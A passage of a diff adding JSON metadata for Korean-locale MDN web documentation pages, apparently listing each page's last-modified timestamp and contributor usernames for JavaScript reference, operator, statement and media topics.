"2020-10-15T21:48:56.464Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Set/size": { + "modified": "2020-10-15T22:15:09.484Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Set/values": { + "modified": "2020-10-15T22:18:44.617Z", + "contributors": [ + "VictorTaekLim" + ] + }, + "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer": { + "modified": "2020-10-15T21:58:45.362Z", + "contributors": [ + "cs09g", + "ENvironmentSet" + ] + }, + "Web/JavaScript/Reference/Global_Objects/SharedArrayBuffer/prototype": { + "modified": "2020-10-15T22:15:02.439Z", + "contributors": [ + "cs09g" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String": { + "modified": "2020-10-15T21:22:11.475Z", + "contributors": [ + "alattalatta", + "seungha-kim", + "pusanbear", + "teoli", + "MoGi" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/Trim": { + "modified": "2020-10-15T21:58:30.718Z", + "contributors": [ + "alattalatta", + "dasebee" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/charAt": { + "modified": "2020-10-15T21:45:37.005Z", + "contributors": [ + "bohyun611kim", + "alattalatta", + "pusanbear" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/charCodeAt": { + "modified": "2020-10-15T21:48:27.284Z", + "contributors": [ + "alattalatta", + "dale0713" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/concat": { + "modified": "2020-10-15T21:45:37.865Z", + "contributors": [ + "yami03", + "seulgiyoon", + "alattalatta", + "pusanbear" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/endsWith": { + "modified": "2020-04-21T05:33:31.555Z", + "contributors": [ + "yami03", + "pusanbear" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/fromCharCode": { + "modified": "2020-10-15T22:13:58.437Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/includes": { + "modified": "2020-10-15T21:45:37.765Z", + "contributors": [ + "alattalatta", + "pusanbear" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/indexOf": { + "modified": "2020-10-15T21:45:49.888Z", + "contributors": [ + "alattalatta", + "pusanbear" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/lastIndexOf": { + "modified": "2020-10-15T21:45:54.942Z", + "contributors": [ + "alattalatta", + "jihunsuh", + "pusanbear" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/length": { + "modified": "2020-10-15T21:45:30.378Z", + "contributors": [ + "alattalatta", + "pusanbear" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/localeCompare": { + "modified": "2020-10-15T21:57:59.121Z", + "contributors": [ + "bboding", + "s2s2kim" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/match": { + "modified": "2020-10-15T22:06:19.802Z", + "contributors": [ + "Donghoon", + "chaewonkong", + "Yonnani" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/normalize": { + "modified": "2020-10-15T22:16:57.680Z", + "contributors": [ + "lifeisnovel" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/padEnd": { + "modified": "2020-10-15T22:08:41.887Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/padStart": { + "modified": "2020-10-15T22:08:41.615Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/prototype": { + "modified": "2019-09-19T03:24:36.691Z", + "contributors": [ + "dbs6339", + "pusanbear", + "teoli", + "MoGi" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/repeat": { + "modified": "2020-10-15T21:56:14.890Z", + "contributors": [ + "alattalatta", + "wicksome" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/replace": { + "modified": "2020-10-15T21:48:26.744Z", + "contributors": [ + "limkukhyun", + "yonggoo.noh", + "alattalatta", + "ejay0811", + "rlaxognsk", + "dale0713" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/search": { + "modified": "2020-10-15T22:10:00.509Z", + "contributors": [ + "Parcovia" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/slice": { + "modified": "2020-10-15T21:53:59.719Z", + "contributors": [ + "bigsaigon333", + "limkukhyun", + "KaylaKwon", + "enchantor", + "REDO", + "laranhee", + "AlexMin" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/split": { + "modified": "2020-10-15T22:14:46.442Z", + "contributors": [ + "EatChangmyeong", + "alattalatta", + "yuntaek" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/startsWith": { + "modified": "2020-10-15T21:47:53.784Z", + "contributors": [ + "alattalatta", + "skylar.kim" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/substr": { + "modified": "2020-10-15T21:47:08.634Z", + "contributors": [ + "alattalatta", + "pusanbear" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/substring": { + "modified": "2020-10-15T22:18:53.078Z", + "contributors": [ + "Saem", + "bohyun611kim" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/toLowerCase": { + "modified": "2020-10-15T21:57:11.550Z", + "contributors": [ + "alattalatta", + "swtpumpkin" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/toSource": { + "modified": "2020-10-15T22:02:06.022Z", + "contributors": [ + "teoli", + "ejay0811" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/toString": { + "modified": "2020-10-15T22:27:29.788Z", + "contributors": [ + "rjsdnql123" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/toUpperCase": { + "modified": "2020-10-15T21:55:16.088Z", + "contributors": [ + "alattalatta", + "swtpumpkin", + "seokju-na" + ] + }, + "Web/JavaScript/Reference/Global_Objects/String/valueOf": { + "modified": "2020-10-15T22:25:44.637Z", + "contributors": [ + "hyoni0817" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Symbol": { + "modified": "2020-10-15T21:40:09.882Z", + "contributors": [ + "dolmoon", + "SphinxKnight", + "HyunSeob", + "maytree" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Symbol/for": { + "modified": "2019-03-23T22:16:10.868Z", + "contributors": [ + "Hou" + ] + }, + "Web/JavaScript/Reference/Global_Objects/Symbol/iterator": { + "modified": "2020-10-15T22:00:39.078Z", + "contributors": [ + "limkukhyun", + "BANIP" + ] + }, + "Web/JavaScript/Reference/Global_Objects/SyntaxError": { + "modified": "2020-10-15T21:48:16.048Z", + "contributors": [ + "alattalatta", + "2oosoo", + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Global_Objects/SyntaxError/prototype": { + "modified": "2019-03-23T22:28:47.337Z", + "contributors": [ + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypeError": { + "modified": "2020-10-15T21:38:37.821Z", + "contributors": [ + "alattalatta", + "kirrie", + "JiminP" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray": { + "modified": "2019-06-18T04:56:00.166Z", + "contributors": [ + "kooljay82", + "Netaras", + "Khai96_" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/@@iterator": { + "modified": "2019-03-23T22:30:48.269Z", + "contributors": [ + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/BYTES_PER_ELEMENT": { + "modified": "2020-10-15T21:47:35.788Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/buffer": { + "modified": "2019-03-23T22:30:15.273Z", + "contributors": [ + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/byteLength": { + "modified": "2020-10-15T21:47:38.660Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/byteOffset": { + "modified": "2020-10-15T21:47:35.902Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/fill": { + "modified": "2020-10-15T21:39:40.326Z", + "contributors": [ + "alattalatta", + "Hmmim" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/indexOf": { + "modified": "2020-10-15T22:21:44.673Z", + "contributors": [ + "naraeim", + "SphinxKnight" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/length": { + "modified": "2020-10-15T21:47:35.796Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/name": { + "modified": "2020-10-15T21:47:34.390Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/of": { + "modified": "2020-10-15T22:03:56.631Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/prototype": { + "modified": "2019-03-23T22:30:03.771Z", + "contributors": [ + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/reverse": { + "modified": "2020-10-15T21:47:33.171Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/set": { + "modified": "2020-10-15T21:47:35.773Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/slice": { + "modified": "2019-03-23T22:30:24.203Z", + "contributors": [ + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/some": { + "modified": "2020-10-15T21:47:37.645Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/sort": { + "modified": "2019-03-23T22:30:47.108Z", + "contributors": [ + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/TypedArray/values": { + "modified": "2019-03-23T22:30:45.463Z", + "contributors": [ + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WeakMap": { + "modified": "2019-03-23T22:27:55.353Z", + "contributors": [ + "Netaras", + "billybraga" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WeakMap/delete": { + "modified": "2020-10-15T22:04:27.439Z", + "contributors": [ + "alattalatta", + "limkukhyun", + "Seok.Heo" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WeakMap/prototype": { + "modified": "2019-03-23T22:27:54.259Z", + "contributors": [ + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WeakSet": { + "modified": "2020-10-15T21:48:47.357Z", + "contributors": [ + "alattalatta", + "Netaras", + "fscholz" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WeakSet/prototype": { + "modified": "2019-03-23T22:28:07.290Z", + "contributors": [ + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly": { + "modified": "2020-10-15T21:53:02.555Z", + "contributors": [ + "limkukhyun", + "0xABCDEF" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/CompileError": { + "modified": "2020-10-15T22:07:58.077Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/Global": { + "modified": "2020-10-15T22:08:05.155Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/Global/prototype": { + "modified": "2020-10-15T22:08:10.181Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/Instance": { + "modified": "2020-10-15T22:07:55.815Z", + "contributors": [ + "limkukhyun", + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/LinkError": { + "modified": "2020-10-15T22:08:04.793Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/Memory": { + "modified": "2020-10-15T22:08:00.915Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/Module": { + "modified": "2020-10-15T22:07:56.280Z", + "contributors": [ + "limkukhyun", + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/RuntimeError": { + "modified": "2020-10-15T22:08:08.186Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/Table": { + "modified": "2020-10-15T22:07:58.705Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/compile": { + "modified": "2020-10-15T22:07:56.654Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/compileStreaming": { + "modified": "2020-10-15T22:07:56.654Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiate": { + "modified": "2020-10-15T22:07:57.168Z", + "contributors": [ + "fnwinter", + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/instantiateStreaming": { + "modified": "2020-10-15T22:08:08.189Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/WebAssembly/validate": { + "modified": "2020-10-15T22:08:00.982Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Global_Objects/decodeURI": { + "modified": "2020-10-15T22:01:55.624Z", + "contributors": [ + "jeoyoho" + ] + }, + "Web/JavaScript/Reference/Global_Objects/decodeURIComponent": { + "modified": "2020-10-15T21:48:49.294Z", + "contributors": [ + "alattalatta", + "jeoyoho", + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Global_Objects/encodeURI": { + "modified": "2020-10-15T22:02:01.889Z", + "contributors": [ + "alattalatta", + "jeoyoho" + ] + }, + "Web/JavaScript/Reference/Global_Objects/encodeURIComponent": { + "modified": "2020-10-15T21:29:14.784Z", + "contributors": [ + "alattalatta", + "SphinxKnight", + "under_09" + ] + }, + "Web/JavaScript/Reference/Global_Objects/eval": { + "modified": "2020-11-14T12:46:31.739Z", + "contributors": [ + "cog25", + "EatChangmyeong", + "alattalatta", + "LOG91", + "goeo1066", + "desty", + "nicesh" + ] + }, + "Web/JavaScript/Reference/Global_Objects/globalThis": { + "modified": "2020-10-15T22:14:31.677Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Global_Objects/isFinite": { + "modified": "2020-10-15T21:44:39.927Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/isNaN": { + "modified": "2020-10-15T21:46:27.577Z", + "contributors": [ + "alattalatta", + "Parcovia", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Global_Objects/null": { + "modified": "2020-10-15T21:40:32.117Z", + "contributors": [ + "alattalatta", + "nicesh" + ] + }, + "Web/JavaScript/Reference/Global_Objects/parseFloat": { + "modified": "2020-10-15T21:58:14.258Z", + "contributors": [ + "alattalatta", + "inkyungkim" + ] + }, + "Web/JavaScript/Reference/Global_Objects/parseInt": { + "modified": "2020-10-15T21:48:49.061Z", + "contributors": [ + "bigsaigon333", + "alattalatta", + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Global_Objects/undefined": { + "modified": "2020-10-15T21:40:31.421Z", + "contributors": [ + "alattalatta", + "nicesh" + ] + }, + "Web/JavaScript/Reference/Global_Objects/uneval": { + "modified": "2020-10-15T21:52:46.647Z", + "contributors": [ + "alattalatta", + "teoli", + "Perlmint" + ] + }, + "Web/JavaScript/Reference/Iteration_protocols": { + "modified": "2020-03-12T19:44:08.276Z", + "contributors": [ + "Snark", + "dragmove", + "echo304" + ] + }, + "Web/JavaScript/Reference/Lexical_grammar": { + "modified": "2020-10-15T21:47:17.603Z", + "contributors": [ + "honggaruy", + "alattalatta", + "softweaver", + "Roomination", + "paranbaram" + ] + }, + "Web/JavaScript/Reference/Operators": { + "modified": "2020-10-15T21:15:29.282Z", + "contributors": [ + "limkukhyun", + "Violet-Bora-Lee", + "alattalatta", + "haeguri", + "Netaras", + "teoli", + "Anonymous" + ] + }, + "Web/JavaScript/Reference/Operators/Addition": { + "modified": "2020-10-15T22:34:18.983Z", + "contributors": [ + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Operators/Arithmetic_Operators": { + "modified": "2020-10-15T21:50:08.581Z", + "contributors": [ + "alattalatta", + "chimimode", + "fscholz", + "wbamberg", + "KSH-code", + "siwoolee", + "ChanghwaLee", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Operators/Assignment_Operators": { + "modified": "2020-10-15T21:50:31.036Z", + "contributors": [ + "alattalatta", + "wbamberg", + "NessunKim", + "daehyoung" + ] + }, + "Web/JavaScript/Reference/Operators/Bitwise_Operators": { + "modified": "2020-10-15T21:25:50.021Z", + "contributors": [ + "alattalatta", + "jghg2724", + "epicsaga", + "daewon", + "teoli", + "Cho.Eun" + ] + }, + "Web/JavaScript/Reference/Operators/Comma_Operator": { + "modified": "2020-10-15T21:48:31.441Z", + "contributors": [ + "alattalatta", + "hoony" + ] + }, + "Web/JavaScript/Reference/Operators/Comparison_Operators": { + "modified": "2020-10-15T21:46:03.880Z", + "contributors": [ + "alattalatta", + "Parcovia", + "ohsory1324", + "LEGOLLAS" + ] + }, + "Web/JavaScript/Reference/Operators/Conditional_Operator": { + "modified": "2020-10-15T21:39:25.018Z", + "contributors": [ + "pyjun01", + "alattalatta", + "limkukhyun", + "taisuk", + "reoim", + "epicsaga" + ] + }, + "Web/JavaScript/Reference/Operators/Destructuring_assignment": { + "modified": "2020-10-15T21:45:50.516Z", + "contributors": [ + "alattalatta", + "corund", + "dolmoon", + "NessunKim", + "kdex", + "faker007", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Operators/Equality": { + "modified": "2020-10-15T22:35:05.143Z", + "contributors": [ + "junnapark" + ] + }, + "Web/JavaScript/Reference/Operators/Grouping": { + "modified": "2020-10-15T21:45:49.973Z", + "contributors": [ + "alattalatta", + "SeungYeol", + "seung-yeol" + ] + }, + "Web/JavaScript/Reference/Operators/Nullish_coalescing_operator": { + "modified": "2020-10-15T22:25:44.809Z", + "contributors": [ + "ssohymind", + "Jung.Kyu-Hyun" + ] + }, + "Web/JavaScript/Reference/Operators/Object_initializer": { + "modified": "2020-10-15T21:47:08.402Z", + "contributors": [ + "honggaruy", + "callin2", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Operators/Optional_chaining": { + "modified": "2020-10-15T22:25:42.843Z", + "contributors": [ + "Jung.Kyu-Hyun" + ] + }, + "Web/JavaScript/Reference/Operators/Pipeline_operator": { + "modified": "2020-10-15T22:15:31.566Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/JavaScript/Reference/Operators/Property_Accessors": { + "modified": "2020-10-15T21:46:18.602Z", + "contributors": [ + "alattalatta", + "Violet-Bora-Lee", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Operators/Remainder": { + "modified": "2020-10-15T22:35:04.854Z", + "contributors": [ + "junnapark" + ] + }, + "Web/JavaScript/Reference/Operators/Spread_syntax": { + "modified": "2020-10-15T22:03:25.315Z", + "contributors": [ + "alattalatta", + "cs09g", + "cnaa97", + "ageofsys" + ] + }, + "Web/JavaScript/Reference/Operators/async_function": { + "modified": "2020-10-15T21:53:15.087Z", + "contributors": [ + "ibizcox", + "alattalatta", + "undefcat" + ] + }, + "Web/JavaScript/Reference/Operators/await": { + "modified": "2020-10-15T21:53:13.195Z", + "contributors": [ + "rmfpdlxmtidl", + "limkukhyun", + "NessunKim", + "HomoEfficio", + "undefcat" + ] + }, + "Web/JavaScript/Reference/Operators/class": { + "modified": "2020-10-15T21:46:02.874Z", + "contributors": [ + "dsma73", + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Operators/delete": { + "modified": "2020-10-15T21:56:50.911Z", + "contributors": [ + "alattalatta", + "itsjiwonpark", + "Hou" + ] + }, + "Web/JavaScript/Reference/Operators/function": { + "modified": "2020-10-15T21:45:42.250Z", + "contributors": [ + "dolmoon", + "limkukhyun", + "laranhee", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Operators/function*": { + "modified": "2020-10-15T21:38:18.382Z", + "contributors": [ + "limkukhyun", + "KSH-code", + "JaehaAhn" + ] + }, + "Web/JavaScript/Reference/Operators/in": { + "modified": "2020-03-12T19:42:49.608Z", + "contributors": [ + "." + ] + }, + "Web/JavaScript/Reference/Operators/instanceof": { + "modified": "2020-10-15T21:48:46.760Z", + "contributors": [ + "alattalatta", + "tg0825", + "dooyou21", + "moolow", + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Operators/new": { + "modified": "2020-10-15T21:50:30.370Z", + "contributors": [ + "alattalatta", + "luke.bae", + "KSH-code", + "daehyoung" + ] + }, + "Web/JavaScript/Reference/Operators/new.target": { + "modified": "2020-10-15T21:48:09.333Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Operators/super": { + "modified": "2020-10-15T21:43:46.088Z", + "contributors": [ + "alattalatta", + "jeonnoej" + ] + }, + "Web/JavaScript/Reference/Operators/this": { + "modified": "2020-10-15T21:16:21.207Z", + "contributors": [ + "StolenMoments", + "cs09g", + "alattalatta", + "utatti", + "huusz", + "teoli", + "eros21c", + "Channy" + ] + }, + "Web/JavaScript/Reference/Operators/typeof": { + "modified": "2020-10-15T21:47:39.354Z", + "contributors": [ + "Seonghui", + "alattalatta", + "dale0713" + ] + }, + "Web/JavaScript/Reference/Operators/void": { + "modified": "2020-10-15T21:24:25.804Z", + "contributors": [ + "alattalatta", + "teoli", + "siriz" + ] + }, + "Web/JavaScript/Reference/Operators/yield": { + "modified": "2020-03-12T19:43:03.959Z", + "contributors": [ + "coolengineer", + "ByeongGi", + "2oosoo", + "Yunhong-Min", + "preco21" + ] + }, + "Web/JavaScript/Reference/Operators/yield*": { + "modified": "2020-10-15T21:41:31.854Z", + "contributors": [ + "alattalatta", + "hanmomhanda", + "preco21" + ] + }, + "Web/JavaScript/Reference/Operators/논리_연산자(Logical_Operators)": { + "modified": "2020-10-15T21:47:31.347Z", + "contributors": [ + "alattalatta", + "atomDevelop", + "r2fresh", + "Parcovia", + "gnujoow", + "helloheesu", + "imskojs" + ] + }, + "Web/JavaScript/Reference/Operators/연산자_우선순위": { + "modified": "2020-04-10T08:53:04.223Z", + "contributors": [ + "EatChangmyeong", + "alattalatta", + "." + ] + }, + "Web/JavaScript/Reference/Statements": { + "modified": "2020-10-15T21:26:12.348Z", + "contributors": [ + "alattalatta", + "naduhy2", + "Netaras", + "teoli", + "Sheppy" + ] + }, + "Web/JavaScript/Reference/Statements/Empty": { + "modified": "2020-10-15T22:04:17.983Z", + "contributors": [ + "alattalatta", + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Statements/async_function": { + "modified": "2020-10-15T21:51:55.526Z", + "contributors": [ + "MoonHyuk", + "jhoijune", + "DeadIntegral", + "limkukhyun", + "Konan" + ] + }, + "Web/JavaScript/Reference/Statements/block": { + "modified": "2020-10-15T21:50:27.290Z", + "contributors": [ + "alattalatta", + "daehyoung" + ] + }, + "Web/JavaScript/Reference/Statements/break": { + "modified": "2020-10-15T21:44:31.572Z", + "contributors": [ + "alattalatta", + "jeehyukwon", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Statements/class": { + "modified": "2020-10-15T21:46:03.105Z", + "contributors": [ + "alattalatta", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Statements/const": { + "modified": "2020-10-15T21:38:50.829Z", + "contributors": [ + "alattalatta", + "warnee", + "maxtortime", + "kdex", + "Netaras", + "kuil09" + ] + }, + "Web/JavaScript/Reference/Statements/continue": { + "modified": "2020-10-15T22:04:27.151Z", + "contributors": [ + "alattalatta", + "SSJ-unclear", + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Statements/debugger": { + "modified": "2020-10-15T22:04:18.665Z", + "contributors": [ + "alattalatta", + "limkukhyun" + ] + }, + "Web/JavaScript/Reference/Statements/default": { + "modified": "2020-10-15T22:07:33.273Z", + "contributors": [ + "alattalatta", + "SSJ-unclear" + ] + }, + "Web/JavaScript/Reference/Statements/do...while": { + "modified": "2020-10-15T22:30:37.801Z", + "contributors": [ + "jyman7811" + ] + }, + "Web/JavaScript/Reference/Statements/export": { + "modified": "2020-10-15T21:41:49.561Z", + "contributors": [ + "copyx", + "alattalatta", + "yonggoo.noh", + "LeeJunyeol", + "umbria", + "haydnhkim" + ] + }, + "Web/JavaScript/Reference/Statements/for": { + "modified": "2020-10-15T21:46:03.615Z", + "contributors": [ + "alattalatta", + "SeungYeol" + ] + }, + "Web/JavaScript/Reference/Statements/for-await...of": { + "modified": "2020-10-15T22:27:58.512Z", + "contributors": [ + "composite" + ] + }, + "Web/JavaScript/Reference/Statements/for...in": { + "modified": "2020-10-15T21:26:08.013Z", + "contributors": [ + "Sunmin0520", + "limkukhyun", + "teoli", + "Androidbee" + ] + }, + "Web/JavaScript/Reference/Statements/for...of": { + "modified": "2020-10-15T21:36:35.059Z", + "contributors": [ + "jacob17", + "alattalatta", + "Netaras", + "ligeek" + ] + }, + "Web/JavaScript/Reference/Statements/function": { + "modified": "2020-10-15T21:45:43.150Z", + "contributors": [ + "alattalatta", + "dolmoon", + "Netaras" + ] + }, + "Web/JavaScript/Reference/Statements/function*": { + "modified": "2020-10-15T21:38:18.568Z", + "contributors": [ + "alattalatta", + "SphinxKnight", + "silmari", + "kdex", + "resoliwan", + "KisukPark", + "AHNJAEHA", + "preco21", + "JaehaAhn" + ] + }, + "Web/JavaScript/Reference/Statements/if...else": { + "modified": "2020-10-15T21:46:05.432Z", + "contributors": [ + "yami03", + "alattalatta", + "Parcovia", + "Jungmin" + ] + }, + "Web/JavaScript/Reference/Statements/import": { + "modified": "2020-10-15T21:39:54.342Z", + "contributors": [ + "alattalatta", + "hwshim", + "haydnhkim" + ] + }, + "Web/JavaScript/Reference/Statements/label": { + "modified": "2020-03-12T19:45:32.505Z", + "contributors": [ + "wafersroom" + ] + }, + "Web/JavaScript/Reference/Statements/let": { + "modified": "2020-10-15T21:40:35.318Z", + "contributors": [ + "cjacking3", + "SeonHyungJo", + "Isitea", + "RingoKim" + ] + }, + "Web/JavaScript/Reference/Statements/return": { + "modified": "2020-10-15T21:50:13.127Z", + "contributors": [ + "alattalatta", + "2oosoo", + "Diana_" + ] + }, + "Web/JavaScript/Reference/Statements/switch": { + "modified": "2020-10-15T21:49:53.296Z", + "contributors": [ + "chimimode", + "ByeongGi", + "nidev" + ] + }, + "Web/JavaScript/Reference/Statements/throw": { + "modified": "2020-10-15T22:04:25.321Z", + "contributors": [ + "SSJ-unclear", + "hongnakyung" + ] + }, + "Web/JavaScript/Reference/Statements/try...catch": { + "modified": "2020-10-15T21:40:10.256Z", + "contributors": [ + "limkukhyun", + "deltakor1234", + "SSJ-unclear", + "pianorange", + "epicsaga" + ] + }, + "Web/JavaScript/Reference/Statements/var": { + "modified": "2020-10-15T21:42:33.307Z", + "contributors": [ + "alattalatta", + "naduhy2", + "jaeminkim87", + "teoli" + ] + }, + "Web/JavaScript/Reference/Statements/while": { + "modified": "2020-03-12T19:45:49.250Z", + "contributors": [ + "galcyurio", + "ChanghwaLee" + ] + }, + "Web/JavaScript/Reference/Statements/with": { + "modified": "2020-10-15T22:07:40.562Z", + "contributors": [ + "SSJ-unclear" + ] + }, + "Web/JavaScript/Reference/Strict_mode": { + "modified": "2020-06-29T00:30:58.676Z", + "contributors": [ + "ranhyegg", + "genzuby", + "Kim1Jun", + "cs09g", + "alattalatta", + "geunhyung", + "limkukhyun", + "dsma73", + "cecilia.cho", + "Minsoo_Kim", + "laranhee", + "KSH-code", + "imskojs", + "magnoliaa" + ] + }, + "Web/JavaScript/Reference/Strict_mode/Transitioning_to_strict_mode": { + "modified": "2020-03-12T19:48:28.686Z", + "contributors": [ + "SeonHyungJo" + ] + }, + "Web/JavaScript/Reference/Template_literals": { + "modified": "2020-10-15T21:47:14.004Z", + "contributors": [ + "hjleesm", + "rev1c0sm0s", + "limkukhyun", + "springday1023", + "kbsbroad", + "rlaxognsk", + "dragmove" + ] + }, + "Web/JavaScript/Reference/Trailing_commas": { + "modified": "2020-11-24T03:08:45.215Z", + "contributors": [ + "bckim9489", + "EatChangmyeong", + "samee" + ] + }, + "Web/JavaScript/Typed_arrays": { + "modified": "2020-03-12T19:44:00.798Z", + "contributors": [ + "Netaras" + ] + }, + "Web/JavaScript/쉘": { + "modified": "2020-03-12T19:44:13.687Z", + "contributors": [ + "limkukhyun", + "hoony" + ] + }, + "Web/JavaScript/시작하기": { + "modified": "2019-03-23T23:14:43.699Z", + "contributors": [ + "eunsuklee", + "teoli" + ] + }, + "Web/JavaScript/언어_리소스": { + "modified": "2020-03-12T19:39:22.531Z", + "contributors": [ + "ahnzaz", + "KSH-code", + "Netaras", + "teoli", + "NFM" + ] + }, + "Web/Manifest": { + "modified": "2020-10-15T22:32:27.672Z", + "contributors": [ + "alattalatta" + ] + }, + "Web/MathML": { + "modified": "2020-10-15T21:24:14.563Z", + "contributors": [ + "alattalatta", + "fred.wang", + "hyeonseok", + "narae_lee" + ] + }, + "Web/Media": { + "modified": "2019-07-04T01:00:37.497Z", + "contributors": [ + "developer19899" + ] + }, + "Web/Media/Autoplay_guide": { + "modified": "2019-09-17T06:49:59.371Z", + "contributors": [ + "ahnzaz" + ] + }, + "Web/Media/Formats": { + "modified": "2019-09-17T02:15:54.155Z", + "contributors": [ + "Havi Hoffman" + ] + }, + "Web/Media/Formats/비디오코덱": { + "modified": "2019-10-21T23:30:00.090Z", + "contributors": [ + "ahnzaz" + ] + }, + "Web/Media/Formats/컨테이너": { + "modified": "2019-09-19T00:05:45.367Z", + "contributors": [ + "ahnzaz" + ] + }, + "Web/Media/Formats/코덱파라미터": { + "modified": "2020-06-10T22:11:12.156Z", + "contributors": [ + "ahnzaz" + ] + }, + 